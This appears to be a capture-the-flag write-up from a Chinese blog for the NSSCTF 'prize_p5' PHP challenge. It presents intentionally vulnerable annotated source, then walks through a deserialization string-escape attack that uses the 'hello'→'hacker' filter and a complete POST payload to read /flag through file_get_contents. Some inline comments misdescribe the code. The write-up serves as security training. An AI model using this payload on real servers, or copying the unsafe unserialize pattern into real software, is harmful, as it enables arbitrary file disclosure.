NSSCTF prize_p5

源码(附上注释):

<?php
 error_reporting(0); // 关闭错误报告
 ​
 class catalogue { // 定义一个名为catalogue的类
     public $class; // 声明一个公有属性$class
     public $data; // 声明一个公有属性$data
     public function __construct() { // 类的构造函数
         $this->class = "error"; // 初始化$class属性为"error"
         $this->data = "hacker"; // 初始化$data属性为"hacker"
     }
     public function __destruct() { // 类的析构函数
         echo new $this->class($this->data); // 根据$class属性的值动态创建对象并输出
         // 注意:这里存在安全风险,因为可以动态实例化任意类
     }
 }
 ​
 class error { // 定义一个名为error的类
     public $OTL; // 声明一个公有属性$OTL
     public function __construct($OTL) { // 类的构造函数
         $this->OTL = $OTL; // 初始化$OTL属性
         echo ("hello ".$this->OTL); // 输出"hello "和$OTL属性的值
     }
 }
 ​
 class escape { // 定义一个名为escape的类
     public $name = 'OTL'; // 初始化$name属性为'OTL'
     public $phone = '123666'; // 初始化$phone属性为'123666'
     public $email = 'sweet@OTL.com'; // 初始化$email属性为'sweet@OTL.com'
 }
 ​
 function abscond($string) { // 定义一个名为abscond的函数
     $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello'); // 定义一个包含要过滤字符串的数组
     $filter = '/' . implode('|', $filter) . '/i'; // 将数组元素用'|'连接并加上正则表达式定界符'/'和修饰符'i'
     return preg_replace($filter, 'hacker', $string); // 使用正则表达式替换$string中的匹配项为'hacker'
 }
 ​
 if(isset($_GET['cata'])){ // 检查GET请求中是否包含'cata'字段
     if(!preg_match('/object/i',$_GET['cata'])){ // 如果'cata'字段的值不包含'object'(不区分大小写)
         unserialize($_GET['cata']); // 反序列化'cata'字段的值
         // 注意:这里存在安全风险,因为可以反序列化任意数据
     } else {
         $cc = new catalogue(); // 创建catalogue类的实例
         unserialize(serialize($cc)); // 序列化$cc对象后再反序列化,实际上是多余的操作
         // 注意:这里的代码逻辑似乎没有意义,可能是为了展示序列化/反序列化过程
     }
     
     if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){ // 检查POST请求中是否包含'name'、'phone'和'email'字段
         if (preg_match("/flag/i",$_POST['email'])){ // 如果'email'字段的值包含'flag'(不区分大小写)
             die("nonono,you can not do that!"); // 终止脚本执行并输出错误信息
         }
         $abscond = new escape(); // 创建escape类的实例
         $abscond->name = $_POST['name']; // 将POST请求中的'name'字段的值赋给$abscond对象的$name属性
         $abscond->phone = $_POST['phone']; // 将POST请求中的'phone'字段的值赋给$abscond对象的$phone属性
         $abscond->email = $_POST['email']; // 将POST请求中的'email'字段的值赋给$abscond对象的$email属性
         $abscond = serialize($abscond); // 序列化$abscond对象
         $escape = get_object_vars(unserialize(abscond($abscond))); // 这里的abscond($abscond)是错误的,应该直接使用某个处理后的序列化字符串进行反序列化
         // 注意:即使上面的错误被修正,这里的代码仍然存在安全风险,因为可以反序列化任意数据并获取其属性
         if(is_array($escape['phone'])){ // 检查$escape数组中的'phone'键对应的值是否为数组
             // 注意:这个检查逻辑通常没有意义,因为电话号码不应该是一个数组
             echo base64_encode(file_get_contents($escape['email'])); // 如果'phone'是数组(这通常意味着代码逻辑有误),则尝试读取由'email'键指定的文件内容,并将其编码为Base64格式后输出
             // 注意:这里存在严重的安全漏洞,因为可以读取服务器上的任意文件
         } else {
             echo "I'm sorry to tell you that you are wrong"; // 如果'phone'不是数组,则输出错误信息
         }
     }
 } else {
     highlight_file(__FILE__); // 如果GET请求中不包含'cata'字段,则高亮显示当前文件的源代码
 }
 ?>

解题流程:

  • 首先参数cata的值我们先不管,直接输入1。

  • 然后就是到了对name、phone和email参数的输入,其中phone参数需要时数组,且输入的email值不能含有flag,那么这时我们想到字符串逃逸。

  • 假设现在我们的poc为:name=test&phone[]=NSS&email=test

  • 那么经过序列化后为:O:6:"escape":3:{s:4:"name";s:4:"test";s:5:"phone";a:1:{i:0;s:3:"hacker";}s:5:"email";s:4:"test";}

  • 那么问题来了,我们需要的是传入的email为 /flag,然后使用file_get_contents来读取flag。但是email参数的flag被过滤了,不能传入了。那么此时我们利用字符串逃逸的原理,让phone参数传入/flag不就可以了吗?!为什么可以这么做呢?因为上述源码有一个 $escape = get_object_vars(unserialize(abscond($abscond)));echo base64_encode(file_get_contents($escape['email']));,那么也就是说执行file_get_contents命令的flag是从反序列化后中提取的email,并不是直接post传入的email,那么此时我们就可以构造phone的参数使之包含email的值而丢弃掉post传入的email的值。

  • 根据上述序列化之后的结果;}s:5:"email";s:4:"test";},我们要变为 ;}s:5:"email";s:5:"/flag";},一共28个字符,由于一个hello会被替换为hacker,所以phone参数每传入一个hello就会多一个字符(因为hello是5个字符,hacker是6个字符),那么我们只要写28个hello就可以让 ;}s:5:"email";s:5:"/flag";}逃逸成功,即此时传入的phone参数为 hellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohello";}s:5:"email";s:5:"/flag";}

综上,我们的poc为 name=test&phone[]=hellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohellohello";}s:5:"email";s:5:"/flag";}&email=test,之后将获得的base64编码进行解码,即可获得flag。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

lx_xy

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值